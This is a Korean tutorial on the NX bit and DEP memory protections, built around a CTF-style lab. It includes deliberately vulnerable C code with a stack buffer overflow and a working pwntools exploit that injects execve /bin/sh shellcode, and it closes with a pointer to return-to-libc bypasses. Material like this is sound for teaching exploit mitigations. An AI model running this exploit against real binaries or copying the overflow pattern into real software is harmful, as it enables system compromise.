NX Bit
NX Bit(Never eXecute bit) : 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 기술
NX 특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세스 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다.
DEP(Data Execution Prevention) : 마이크로소프트 윈도우 운영체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술
- 하드웨어 DEP : 메모리에 명시적으로 실행 코드가 포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행될 수 없도록 표시
- 소프트웨어 DEP : CPU가 하드웨어 DEP를 지원하지 않을 경우 사용
Example
#include <stdio.h>
#include <stdlib.h>
int main(){
char str[256];
char *chare = (char*)malloc(100);
printf("Input: ");
gets(str);
printf("%p\n", str);
}
gcc -z execstack NX.c -o NX-disabled
NX bit가 적용되지 않았기 때문에, stack 영역에 실행 권한인 x가 표시되어 있다.
gcc NX -o NX-enabled
NX bit가 적용되어있기 때문에, stack 영역에 실행 권한인 x가 없다.
Example - CTF
#include <stdio.h>
#include <stdlib.h>
int main(){
char str[256];
printf("%p\n", str);
read(0, str, 300);
}
위는 str의 주소를 출력한 후 300만큼 입력을 받는 코드이다.
gcc -fno-stack-protector -z execstack -no-pie NX_test.c -o NoNX_test
해당 코드를 보호 기법들을 해제한 후 컴파일하였다.
from pwn import *
p = process("./NoNX_test")
buf = int(p.recvline()[:-1], 16)
print(hex(buf))
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = shellcode
payload += (0x100 - len(payload))*b'A' + b'B'*8
payload += p64(buf)
p.send(payload)
p.interactive()
str에 shellcode를 집어넣은 뒤 리턴 주소에 다시 str을 넣으면 프로그램은 str에 있는 shellcode를 실행하게 된다.
이는 NX bit가 적용되지 않았기 때문이다.
gcc -fno-stack-protector -no-pie NX_test.c -o NX_test
반면, NX bit를 적용시킨 후 컴파일하였다.
from pwn import *
p = process("./NX_test")
buf = int(p.recvline()[:-1], 16)
print(hex(buf))
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = shellcode
payload += (0x100 - len(payload))*b'A' + b'B'*8
payload += p64(buf)
p.send(payload)
p.interactive()
동일한 exploit 코드를 사용하였지만 이번에는 NX bit가 적용되어있어 shellcode가 실행되지 않는다.
NX bit 우회
NX bit가 적용되었을 때는 코드 영역 외에는 실행 권한이 존재하지 않는다. 하지만 라이브러리 영역에는 실행 권한이 남아 있다.
libc에는 system, execve 등 프로세스의 실행과 관련된 함수들이 구현되어 있다. 이를 이용하여 NX bit를 우회할 수 있다.
이를 RTL(Return to Library)이라 한다.